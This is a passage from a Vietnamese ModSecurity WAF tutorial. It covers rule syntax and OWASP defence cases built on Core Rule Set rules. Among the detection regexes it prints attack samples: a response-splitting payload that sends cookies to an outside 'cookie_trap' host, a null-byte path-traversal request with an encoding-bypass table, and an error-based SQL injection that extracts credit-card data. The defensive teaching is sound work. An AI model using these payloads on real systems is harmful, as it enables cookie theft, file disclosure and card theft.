SecRule ARGS K2 id:2,nolog,pass

SecRule ARGS K3 id:3,log,block

Với ví dụ trên, khi rule 1 trùng mẫu so sánh thì các rule tiếp sau sẽ không thực hiện kiểm tra.

Từ khóa skipthường được dùng như một phương pháp tối ưu hóa trong ModSecurity. Đôi

khi việc thực thi các nhóm rule có nhiều điều kiện sẽ làm lãng phí tài nguyên CPU. Trong

trường hợp này, bạn có thể thực hiện việc kiểm tra điều kiện của một rule và nên bỏ qua các

bước tiếp theo nếu điều kiện đầu vào không thỏa tiêu chí.

Ví dụ:

Trong các rule kiểm tra trong nhóm Cross Site Scripting (XSS) thì các mẫu tấn công như

UNION, ORDER BY, XP_CMD, ../../../, 1’ or 1=1 --, … là không cần thiết phải kiểm tra. Việc

sử dụng từ khóa skip sẽ giúp tối ưu tài nguyên xử lý trong trường hợp này.

If-Then-Else

Tuy ModSecurity không hỗ trợ các từ khóa if-then-else trong cấu trúc rule, nhưng bạn vẫn

có thể thực hiện cấu trúc kiểm tra điều kiện thông qua ví dụ bên dưới:

SecRule ARGS K1 id:1,nolog,pass,skip:2

SecRule ARGS K2 id:2,block

SecAction nolog,pass,skip:1

SecRule ARGS K3 id:3,block

SecRule đầu tiên sẽ quyết định một rule được thực hiện bên dưới. Nếu trong rule 1 trùng

mẫu, thì hành vi skip được thực hiện và chuyển đến thực hiện rule 3. Tuy nhiên, nếu rule 1

không trùng mẫu thì rule 2 sẽ được thực hiện và SecAction sẽ được thực hiện sau đó. Cấu trúc

rẽ nhánh này đảm bảo ruel 3 sẽ không thực thi nếu rule 1 không trùng mẫu dữ liệu.

38

Capturing Data

Các biến trong nhóm TX được phân biệt bởi giá trị từ 0 đến 9. Những biến này được dùng

trong việc thu thập dữ liệu đầu vào. Để sử dụng chức năng thu thập dữ liệu, bạn cần chú ý hai

điều sau:

Sử dụng dấu ngoặc đơn () trong trường hợp dùng các biểu thức so sánh, việc này giúp

ModSecurity xác định vị trí dữ liệu cần thu thập.

Sử dụng hành vi carpture trong rule, nơi mà bạn muốn thu thập dữ liệu.

Giả sử trong ứng dụng web có sử dụng việc chèn một mã xác định phiên làm việc (session)

vào URI như bên dưới:

http://www.modsec.com/69d032331009e7b0/index.html

Yêu cầu đặt ra là bạn cần xác định giá trị 69d032331009e7b0 trong URI để phục vụ việc

kiểm tra session người dùng. Tham khảo biểu thức so sánh trong rule sau:

# Initialize session state from the session identifier in URI

SecRule REQUEST_URI ^/([0-9a-fA-f]{16})/phase:1,nolog,pass,capture,setsid:%{TX.1}

Phân tích biểu thức ^/([0-9a-fA-f]{16})/ ta có:

Biểu thức Ý nghĩa biểu thức Giá trị TX

^/ Xác định vị trí thu thập dữ liệu, bắt

đầu bằng ký tự “/”.

TX.0 =

/69d032331009e7b0/

([0-9a-fA-f]{16}) Nội dung SessionID là một chuỗi bao

gồm 16 ký tự số, chữ thường, chữ hoa

(biểu thức phải được đặt trong dấu

ngoặc đơn).

TX.1 =

69d032331009e7b0

/ Vị trí kết thúc biểu thức.

Dưới dây là log audit quá trình ModSecurity thực hiện phân tích biểu thức:

[4] Recipe: Invoking rule 15b6610; [file

"/opt/modsecurity/etc/crs/activated_rules/carpturedata.conf"] [line "1"] [id "10000"].

[5] Rule 15b6610: SecRule "REQUEST_URI" "@rx ^/([0-9a-fA-f]{16})/"

"phase:1,auditlog,id:10000,nolog,pass,capture,setsid:%{TX.1}"

[4] Transformation completed in 7 usec.

[4] Executing operator "rx" with param "^/([0-9a-fA-f]{16})/" against REQUEST_URI.

[9] Target value: "/69d032331009e7b0/index.html"

[9] Added regex subexpression to TX.0: /69d032331009e7b0/

[9] Added regex subexpression to TX.1: 69d032331009e7b0 [4] Operator completed in 58 usec.

[9] Resolved macro %{TX.1} to: 69d032331009e7b0

39

Variable Manipulation

Hầu hết các dữ liệu mà ModSecurity phân tích sẽ được thao tác ở chế độ chỉ đọc (dữ liệu

tĩnh hoặc không thay đổi). Tuy nhiên, ModSecurity cũng hỗ trợ việc tạo ra các biến có giá trị

thay đổi nhằm phục vụ một số mục đích cụ thể.

Ta có thể tạo ra một biến bằng cách sử dụng hành vi setvar:

SecAction nolog,pass,setvar:tx.score=1 #giá trị của biến tx.score là 1.

SecAction nolog,pass,setvar:!tx.score #xóa giá trị biến tx.score.

SecAction nolog,pass,setvar:tx.score=+2 #giá trị tx.score sẽ tăng 2 mỗi khi thực hiện

action.

SecAction nolog,pass,setvar:tx.score=-1 #giá trị tx.score sẽ giảm mỗi khi thực hiện

action.

Metadata

Metadata được dùng trong rule với mục đích hiển thị thông tin chi tiết về cảnh báo mà rule

tạo ra. Các thông tin này không gây ảnh hưởng đến quá trình phân tích dữ liệu. Tuy nhiên,

metadata sẽ hỗ trợ bạn dễ dàng quản lý các cảnh báo trong quá trình phân tích log, giúp xác

định nhanh chóng nguyên nhân và cách phòng tránh các khai thác vào web server.

Tôi sẽ băt đầu với rule đơn giản như sau:

SecRule REQUEST_METHOD "!^(GET|HEAD)$" \

Id:10001,phase:1,t:none,log,block

Với các tham số như trên, thì rule 10001 vẫn hoạt động ổn định khi trùng mẫu. Tuy nhiên,

dữ liệu sau khi phân tích không cung cấp đủ thông tin chi tiết về thông tin kỹ thuật, các hướng

dẫn xử lý v.v…

[22/Jun/2013:01:21:57 +0700] [www.modsec.com/sid#139efb0][rid#1606370][/][2]

Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file

"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "1"] [id "10001"]

Để rule 10001 được mô tả tốt hơn về thông báo lỗi, tôi sẽ tùy biến rule lại như sau:

SecRule REQUEST_METHOD "!^(GET|HEAD)$" \

"phase:1,t:none,log,block,id:1001,rev:2,\

severity:WARNING,msg:'Request method is not allowed'"

Trong thông báo log, ta có thể ghi nhận thay đổi:

[22/Jun/2013:01:28:19 +0700] [www.modsec.com/sid#17f1fb0][rid#1a59350][/][2]

Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file

"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "3"] [id "10001"] [rev

"2"] [msg "Request method is not allowed"] [severity "EMERGENCY"]

#rev: xác định phiên bản thay đổi của rule

40

#msg: dữ liệu mô tả về rule

#severity: thông báo mức độ nguy hiểm khi có cuộc tấn công vào hệ thống web (mức độ

nguy hiểm nhất là EMERGENCY (1) và ít nguy hiểm nhất là DEBUG (7).

XI. PHÂN TÍCH CÁC RULE ỨNG DỤNG THỰC TẾ

Trường hợp 1: Chống tấn công Replay attack thông qua cơ chế đánh token ngẫu nhiên.

Tham khảoDANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Replay Testing (OWASP-

WS-007)

Trong phần này, tôi sẽ phân tích trường hợp hạn chế việc khai thác vào các form html. Việc

sử dụng phương thức POST để nhận dữ liệu từ phía người dùng thường tạo ra nguy cơ gói tin

bị thay đổi trên đường truyền, nhầm thực hiện thêm/bớt dữ liệu phục vụ cho từng loại tấn công

khác nhau.

Để thực hiện chống lại phương pháp tấn công này, ta cần tham khảo các chỉ thị mà

ModSecurity hỗ trợ:

• SecDisableBackendCompression

• SecContentInjeciton

• SecStreamOutBodyInspection

• SecHashEngine

• SecHashKey

• SecHashParam

• SecHashMethodRx

Phương pháp này sẽ cho phép chèn một token kiểm tra vào dữ liệu HTML khi web server

(Apache) trả kết quả về phía người dùng. Bằng cách sử dụng hàm băm trên các tham số

trong phần thân HTML, ModSecurity sẽ chống lại việc chỉnh sửa thông tin trên kênh

truyền. Bên dưới là các rule và các chỉ thị hỗ trợ:

#vi /opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf

SecContentInjection On

SecStreamOutBodyInspection On

SecHashEngine On

SecHashKey rand keyOnly

SecHashParam rv_token

SecHashMethodrx "HashHref" "[a-zA-Z0-9]"

SecRule REQUEST_URI "@validateHash [a-zA-Z0-9]"

"phase:2,id:1000,t:none,block,msg:'Request Validation Violation.',ctl:HashEnforcement=On"

41

Chỉ thị đầu tiên SecDisableBackendCompression chỉ được sử dụng trong trường hợp

ModSecurity được triển khai như một reverse proxy. Dữ liệu trả về người dùng sẽ được nén

bằng thuật toán gzip nhằm giảm lưu lượng băng thông. Các chỉ thị SecEncryption tiếp theo

nhằm thông báo cho ModSecurity tạo ra chuỗi giá trị băm (hash value) ngẫu nhiên dựa trên

hash salt value và thành tố href trong phần thân HTML (xác định dựa trên mẫu đã được định

nghĩa regular expression).

Hình 6: Các liên kết trước khi thực hiện tạo token

42

Hình 7: Các liên kết sau khi thực hiện tạo token

Ta có thể theo dõi quá trình làm việc của ModSecurity bằng cách theo dõi debug log:

[05/Jun/2013:17:25:51 +0700]

[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xmlrpc.php?rsd]

[05/Jun/2013:17:25:51 +0700]

[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [wp-

content/themes/mog/main.css?ver=3.5.1]

[05/Jun/2013:17:25:51 +0700]

[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [wp-

content/themes/mog/style.css?ver=3.5.1]

[05/Jun/2013:17:25:51 +0700]

[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data

[css?family=Josefin+Slab%3A600&ver=3.5.1]

[05/Jun/2013:17:25:51 +0700]

[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data

[css?family=Open+Sans&ver=3.5.1]

[05/Jun/2013:17:25:51 +0700]

[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xmlrpc.php]

[05/Jun/2013:17:25:51 +0700]

[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xfn/11]

Kiểm tra trong trường hợp các token trong URL cố tình bị loại bỏ tại phía người dùng, trong

trường hợp này kẻ tấn công thực hiện khai thác SQL Injection:

Trường

hợp

URL

43

Token hợp

lệ

http://www.modsec.com/2013/05/owasp-top-10-tools-and-

tactics/?rv_token=f3f6de81f7e3014ff6c4c6affce95caaca29e75e

Không có

token

http://www.modsec.com/2013/05/owasp-top-10-tools-and-

tactics/%20and%20union%20select%201,2,3,4,5,6

Trong trường hợp hacker cố tình loại bỏ token để chèn khai thác vào URL thì rule có id 1000

sẽ được so trùng và tạo cảnh báo tại audit_log.

[Wed Jun 05 18:12:16 2013] [error] [client 192.168.149.1] ModSecurity: Access allowed

(phase 2). Request URI matched "[a-zA-Z0-9]" at REQUEST_URI. No Hash parameter [file

"/opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf"] [line "7"]

[id "1000"] [msg "Request Validation Violation."] [hostname "www.modsec.com"] [uri

"/2013/05/owasp-top-10-tools-and-tactics/ and union select 1,2,3,4,5,6"] [unique_id

"Ua8dEH8AAAEAAAyJBzMAAAAE"]

Trường hợp 2: Phát hiện các Session cookie không hợp lệ

Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Session

Fixation (OWASP-SM-003)

Trong trường hợp này, tôi sẽ phân tích trường hợp hacker cố gắng tự tạo Seesion Cookie để

khai thác theo phương pháp Session Fixation.

Một số thành phần tham khảo:

OWASP ModSecurity CRS

o modsecurity_crs_40_appsensor_detection_point_2.3_session_exception.c

onf

ModSecurity

o RESPONSE_HEADERS: Set-Cookie variable

o REQUEST_HEADERS: Cookie variable

o setsid action

o setvar action

Tấn công khai thác Session (session-guessing attack) là một dạng tấn công khá phổ biến

nhằm vào cookie_session trong ứng dụng web. Đối với những ứng dụng web thường dùng

cookie để xác thực (authentication), phân quyền (authorization) thì việc đoán trước giá trị

cookie sẽ cho phép hacker chiếm quyền phiên làm việc của một người dùng khác đã đăng nhập.

Trong ví dụ này, tôi sử dụng công cụ BurpSuite để phân tích phiên làm việc (SessionID) và

thống kê tính ngẫu nhiên của cookie do ứng dụng web tạo ra.

Đối tợng được kiểm tra: http://demo.testfire.net/

http://www.modsec.com/2013/05/owasp-top-10-tools-and-tactics/?rv_token=f3f6de81f7e3014ff6c4c6affce95caaca29e75e

http://www.modsec.com/2013/05/owasp-top-10-tools-and-tactics/?rv_token=f3f6de81f7e3014ff6c4c6affce95caaca29e75e

http://demo.testfire.net/

44

Hình 8: BurpSuite Sequencer module

Trong phần cấu hình Sequencer, BurpSuite phát hiện trường amSessionId dùng để định danh

người dùng truy cập vào hệ thống ứng dụng web. Ta tiến hành phân tích bằng cách thực thi

chức năng “start carpture”.

Sau khi phân tích 1090 Session Cookie ta được kết quả phân tích như sau:

45

Hình 9: Cookie đã thu thập

46

Hình 10: Kết quả thống kê

Theo kết quả thống kê ta thấy rằng tính ngẫu nhiên của các cookie là không cao. Theo đồ thị

thì các giá trị tại vị trí thứ 0,1,5,6 là không biến đổi, các vị trí còn lại có biến đổi nhưng tỉ lệ

thay đổ là không cao. Bằng cách này, hacker có thể ước lượng được cookie của một người dùng

khác đang login vào hệ thống. Bằng phép thử ngẫu nhiên, hacker sẽ nhận được 1 trong 2 trường

hợp sau:

Cookie đúng: hacker đăng nhập được vào trang quản trị người dùng.

Cookie sai: hacker được chuyển hướng sang trang yêu cầu đăng nhập.

Do phương pháp khai thác này là không khó, nhưng có thể tạo nên nguy cơ vượt qua cơ chế

xác thực người dùng, leo thang đặc quyền trong phần quản trị…

ModSecurity CRS hỗ trợ chống lại việc giả mạo session_cookie:

SecRule RESPONSE_HEADERS:/Set-Cookie2?/

"(?i:(wordpresspass_.*?|j?sessionid|(php)?sessid|(asp|jserv|jw)?session[-

_]?(id)?|cf(id|token)|sid)=([^\s]+)\;\s?)"

"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%{TX.6},setvar:session.sessionid=

%{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%

{geo.country_name}"

SecRule UNIQUE_ID "(.*)"

"chain,t:none,t:sha1,t:hexEncode,capture,setvar:session.csrf_token=%{TX.1}"

47

SecRule REMOTE_ADDR "^(\d{1,3}\.\d{1,3}\.\d{1,3}\.)"

"chain,capture,setvar:session.ip_block=%{tx.1}"

SecRule REQUEST_HEADERS:User-Agent ".*"

"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"

Theo mặc định, thì rule 981062 sẽ tìm những tên cookie phổ biến như:

WORDPRESSPASS

SESSIONID

JSESSIONID

SESSID

PHPSESSID

SESSION

SESSION_ID

SESSION-ID

ASPSESSION

JSERVSESSION

JWSESSION

CFID

CFTOKEN

CFSID

Trong trường hợp ứng dụng của bạn sử dụng một tên cookie khác với danh sách trên, thì ta

có thể dễ dàng định danh thêm giá trị cho rule 981062. Đối với webiste http://demo.testfire.net/

sử dụng tên cookie là amSessionId, ta có thể chỉnh sửa cho phù hợp như sau:

SecRule RESPONSE_HEADERS:/Set-Cookie2?/

"(?i:(wordpresspass_.*?|j?sessionid|(php)?sessid|(asp|jserv|jw|am)?session[-

_]?(id)?|cf(id|token)|sid)=([^\s]+)\;\s?)"

"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%{TX.6},setvar:session.sessionid=

%{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%

{geo.country_name}"

SecRule UNIQUE_ID "(.*)"

"chain,t:none,t:sha1,t:hexEncode,capture,setvar:session.csrf_token=%{TX.1}"

SecRule REMOTE_ADDR "^(\d{1,3}\.\d{1,3}\.\d{1,3}\.)"

"chain,capture,setvar:session.ip_block=%{tx.1}"

SecRule REQUEST_HEADERS:User-Agent ".*"

"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"

Sau khi đã định danh được session_cookie do ứng dụng web tạo ra, ModSecurity sẽ tạo ra

thêm một cookie mới gởi đến người dùng, đồng thời cookie này cũng được lưu trữ tại server để

bảo đảm không có trường hợp hacker sử dụng cookie giả để login vào hệ thống. Tham khảo

rule tạo cookie mới như bên dưới:

# -=[ SE2: Adding New Cookie ]=-

#

http://demo.testfire.net/

48

# -

https://www.owasp.org/index.php/AppSensor_DetectionPoints#SE2:_Adding_New_Cookie

#

# These rules will validate that the SessionID being submitted by the client is valid

#

SecRule

REQUEST_COOKIES:'/(wordpresspass_|j?sessionid|(php)?sessid|(asp|jserv|jw|am)?session[-

_]?(id)?|cf(id|token)|sid)/' ".*" "chain,phase:1,id:'981054',t:none,block,msg:'Invalid SessionID

Submitted.',logdata:'SessionID Submitted:

%{tx.sessionid}',tag:'OWASP_AppSensor/SE2',setsid:%{matched_var},setvar:tx.sessionid=%{

session.key},skipAfter:END_SE_PROFILE_ENFORCEMENT"

SecRule &SESSION:VALID "!@eq 1"

"setvar:!session.KEY,t:none,setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx

.%{rule.id}-WEB_ATTACK/INVALID_SESSIONID-%{matched_var_name}=%{tx.0}"

Trong rule 981054, hành động (Action) setsid sử dụng giá trị amSessionId để làm giá trị lưu

trữ tại server như một thẻ định danh (indentify token). Sau đó, chuỗi kiểm tra quy tắc luận lý sẽ

xác định cookie trước đó có phù hợp hay không và trả kết quả vào biến valid. Giả sử trường

hợp hacker đưa vào một cookie không có thật, thì rule này sẽ thực hiện việc cảnh báo cho quản

trị hệ thống về nguy cơ khai thác session-guesting.

Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting

Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for HTTP

Splitting/Smuggling (OWASP-DV-016)

Các thành phần tham khảo


o Modsecurity_Crs_40generic_attacks.conf

ModSecurity

o REQUEST_URI variable

o REQUEST_BODY variable

o REQUEST_HEADERS variable

o XML variable

o @rx operator

Phương thức khai thác này thực hiện bằng cách chèn dữ liệu hoặc HTTP request giả vào một

HTTP header khác. Việc này dẫn đến kết quả tại phía người dùng sẽ nhận 2 phần dữ liệu khác

nhau trong cùng 1 trang HTML, là tiền đề cho các khai thác Cross-user defacement, Cache

Poisioning, XSS, Page Hijacking.

Dưới đây là một ví dụ trong mã nguồn PHP:

<?php

header (“Location: /lang_page.php?lang=”.$_GET[„language‟]);

?>

49

REQUEST GET /index.php?language=english HTTP/1.1

RESPONSE HTTP/1.1 302 Found

Location: /lang_page.php?lang=english

Nếu tại phía người dùng, hacker cố tình chèn ký tự Carriage Return (CR) hoặc Linefeed

(LF) vào các tham số trong URL, thì dẫn đến kết quả gói tin tại phía người dùng bị tái cấu trúc

theo mục đích của hacker.

Trong bảng dưới đây mô tả dạng tấn công DOM XSS bằng cách chèn đoạn HTML vào phía

người dùng cuối, tuy nhiên việc tạo một gói tin chèn vào phía người dùng là khá phức tạp.

GET /index.php?language=english

Cotent-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 171

<html><body%20onload='document.location.replace%20("http://www.swpag.info/cookie_tr

ap/"%252b%20document.cookie%252b"/URL/"%252bdocument.location);'></body></html>

HTTP/1.1

Bằng cách sử dụng ký tự %0d và/hoặc %0a thì ta có thể chuyển toàn bộ gói tin trên thành

một URL duy nhất:

GET /index.php?language=english%0aCotent-

Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-

Length%20171:%0a%0a<html><body%20onload='document.location.replace%20("http://ww

w.swpag.info/cookie_trap/"%252b%20document.cookie%252b"/URL/"%252bdocument.locati

on);'></body></html> HTTP/1.1

Để phòng chống lại dạng tấn công HTTP Reponse spliting, ta có thể sử dụng rule như sau:

# HTTP Response Splitting

#

# -=[ Rule Logic ]=-

# These rules look for Carriage Return (CR) %0d and Linefeed (LF) %0a characters.

# These characters may cause problems if the data is returned in a respones header and

# may be interpreted by an intermediary proxy server and treated as two separate

# responses.

#

# -=[ References ]=-

# http://projects.webappsec.org/HTTP-Response-Splitting

#

SecRule

REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|AR

50

GS_NAMES|ARGS|XML:/* "[\n\r](?:content-(type|length)|set-cookie|location):" \

"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',t:none,t:lowercase,capture,ctl:

auditLogParts=+E,block,msg:'HTTP Response Splitting Attack',id:'950910',logdata:'Matched

Data: %{TX.0} found within %{MATCHED_VAR_NAME}:

%{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{

tx.critical_anomaly_score},setvar:tx.%{rule.id}-

OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%{tx.0}"

SecRule

REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|AR

GS_NAMES|ARGS|XML:/* "(?:\bhttp\/(?:0\.9|1\.[01])|<(?:html|meta)\b)" \

"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',capture,t:none,t:htmlEntityDe

code,t:lowercase,ctl:auditLogParts=+E,block,msg:'HTTP Response Splitting

Attack',id:'950911',logdata:'Matched Data: %{TX.0} found within

%{MATCHED_VAR_NAME}:

%{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{

tx.critical_anomaly_score},setvar:tx.%{rule.id}-

OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%{tx.0}"

Trường hợp 4: Phòng chống phương pháp khai thác Path-Traversal

Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Path Traversal

(OWASP-AZ-001)

Các thành phần tham khảo:


o modsecurity_crs_42_tight_security.conf

ModSecurity

o REQUEST_URI variable

o REQUEST_BODY variable

o REQUEST_HEADERS variable

o XML variable

Path traversal là một phương pháp khai thác dựa vào thao tác trên URL nhằm truy cập bất

hợp pháp vào các tập tin tại server. Hầu hết các nguyên nhân gây lỗi là do phía mã nguồn web

cho phép đọc dữ liệu từ một tập tin khác, bằng cách thay đổi giá trị đường dẫn trong chức năng

đọc tập tin ta có thể vượt quyền truy cập sang các thư mục chứa dữ liệu khác. Đặc trưng của

phương pháp khai thác này là sử dụng chuỗi ký tự phân cách cấu trúc thư mục, bao gồm ký tự

(/ hoặc \) và/hoặc . (dấu chấm) để chỉ định đường dẫn trực tiếp đến tập tin cần khai thác.(Trích

CAPEC-126: Path Traversalhttp://capec.mitre.org/data/definitions/126.html)

http://capec.mitre.org/data/definitions/126.html

51

Hình 11: Kết quả khai thác Path-traversal

Trong ví dụ trên, ta có thể nhận thấy việc truy vập vào các tập tin cấu hình trên hệ thống là

rất nguy hiểm. Một ví dụ điển hình là Wordpress CMS ta có thể đọc nội dung wp-config.php để

tìm tài khoản đăng nhập cơ sở dữ liệu (phụ thuộc vào mã nguồn CMS mà website sử dụng).

Đối với một số webserver được cấu hình lọc một số dạng tập tin mở rộng, thì việc chèn thêm

ký tự null %00 vào cuối URL sẽ cho phép ta vượt qua cơ chế kiểm tra của webserver.

GET

/cart.php?a=add%26amp%3Bdomain%3Dtranfer%2Fcart.php%3Fa%3Dantisec&templatefile=

../../../../configuration.php%00 HTTP/1.1

Một số phương pháp biến đổi khác sẽ giúp cho hacker vượt cơ chế kiểm tra bởi webserver,

bảng dưới đây liệt kê một số kiểu biến đổi dữ liệu (chuỗi ban đầu /../):

Encoding Type Example

Hex %2f%2e%2e%2f

Short UTF-8 %c0%af%c0%ae%c0%ae%c0%af

Long UTF-8 %e0%80%af%e0%80%ae%e0%80%ae%e0%80

%af

Double % hex %252f%252e%252e%252f

Double nibble %%32%46%%32%45%%32%45%%32%46

Firt nibble %%32F%%32E%%32E%%32F

Second nibble %2%46%2%45%2%45%2%46

%U %u002f%u002e%u002e%u002f

Phòng chống Path-traversal trong ModSecurity CRS:

#Directory Traversal

52

SecRule

REQUEST_URI|REQUEST_BODY|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS

:Referer

"(?i)(?:\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F

)|e0%80%af|1u|5c)|\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E)

)|\.){2}(?:\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%4

6|F)|e0%80%af|1u|5c)|\/))" \

"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'7',t:none,ctl:auditLogParts=+E,

block,msg:'Path Traversal Attack',id:'950103',severity:'2',logdata:'Matched Data: %{TX.0}

found within %{MATCHED_VAR_NAME}:

%{MATCHED_VAR}',t:none,capture,tag:'OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL'

,setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:'

tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL-

%{matched_var_name}=%{matched_var}'"

# Weaker signature

#SecRule REQUEST_FILENAME "\.\.[/\x5c]"

"phase:1,rev:'2.2.7',t:none,t:urlDecodeUni,capture,ctl:auditLogParts=+E,block,msg:'Path

Traversal

Attack',id:'950103',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.cr

itical_anomaly_score},setvar:'tx.%{rule.id}-WEB_ATTACK/DIR_TRAVERSAL-

%{matched_var_name}=%{matched_var}'"

Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng

Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: SQL Injection (OWASP-

DV-005)


ModSecurity

o @verifyCCoperator

OWASP ModSecurity Core Rule Set

o modsecurity_crs_25_cc_known.conf

Việc rò rỉ thông tin người dùng như là số thẻ tín dụng (credit card number) là khá nghiêm

trọng đối với các ứng dụng thanh toán điện tử, cũng như các giải pháp ngân hàng. Thông

thường, việc lộ thông tin thường là kết quả của các cuộc tấn công SQL injection có mục đích

vào các trang thương mại điện tử, nhằm ăn cắp thông tin định danh thanh toán của người dùng.

Dưới đây là một ví dụ thực tế về việc ăn cắp thông tin của một ứng dụng web:

GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select

%20top%201%20convert(varchar,isnull(convert(varchar,OR_OrderDate),'

N

ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderID),'N

ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_FirstName),

53

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_LastName)

,'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderAdd

ress),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_Ord

erCity),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_O

rderZip),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_

OrderState),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,

OR_OrderCountry),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(var

char,OR_CCardName),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert

(v

archar,OR_CCardType),'NULL'))%2b'/'%2bconvert(varchar,isnull(conver

t

(varchar,OR_CCardNumberenc),'NULL'))%2b'/'%2bconvert(varchar,isnu

ll(

convert(varchar,OR_CCardExpDate),'NULL'))%2b'/'%2bconvert(varchar

,is

null(convert(varchar,OR_CCardSecurityCode),'NULL'))%2b'/'%2bconve

rt(

varchar,isnull(convert(varchar,OR_Email),'NULL'))%2b'/'%2bconvert(va

rchar,isnull(convert(varchar,OR_Phone1),'NULL'))%20from%20Orders%2

0w

here%20OR_OrderID=47699))--sp_password HTTP/1.1

Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*

User-Agent: Microsoft URL Control - 6.00.8862

Cookie:

ASPSESSIONIDCCQCSRDQ=EHEPIKBBBFLOFIFOBPCJDBGP

Host: www.banking.com

X-Forwarded-For: 14.0.18.205

Connection: Keep-Alive

Cache-Control: no-cache, bypass-client=14.0.18.205

Trong câu truy vấn SQL trên, hacker thu thập dữ liệu cá nhân của người dùng tại các table

được in đậm. Các rule trong nhóm khai thác SQL injection có thể chống lại dạng tấn công này,

nhưng cần chú ý rằng các rule phát hiện SQL injection chỉ ở chế độ theo dõi (Detect-only). Sau

khi câu truy vấn SQL được thực thi tại phía server, thì giá trị trả về người dùng vẫn chứa thông

tin của thẻ tín dụng (bao gồm: tên chủ thẻ,loại thẻ, số thẻ, thời gian sử dụng…).

HTTP/1.1 500 Internal Server Error

Content-Length: 573

Content-Type: text/html

Cache-control: private

Connection: close

<font face="Arial" size=2>

<p>Microsoft OLE DB Provider for ODBC Drivers</font><font face="Arial"

size=2>error '80040e07'</font><p>

54

<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax

error converting the varchar value 'Feb 13 2007 12:00AM/47699/John/Doe/123 Bob Brown

Dr /Mystic/06355/CT/US/John C

Doe//NNNNNNNNNNNNNNNN/03/2008/4692/[email protected]/860.555.7578' to a

column of data type int.</font><p>

<font face="Arial" size=2>/cart/loginexecute.asp</font><font face="Arial" size=2>, line

49</font>

Việc khai thác của hacker trong trường hợp này là thành công, số thẻ tín dụng được thay thế

bằng chuỗi NNNNN… trong phần thân HTML. Trong phiên bản ModSecurity CRS hiện tại có

hỗ trợ tập lệnh modsecurity_crs_25_cc_known.conf, bao gồm cấu trúc các mẫu thẻ tín dụng

phổ biến như GSA SmartPay, MasterCard, Visa, American Express, Diners Club, enRoute,

Discover, JCB:

# MasterCard

SecRule ARGS "@verifyCC (?:^|[^\d])(5[1-5]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-

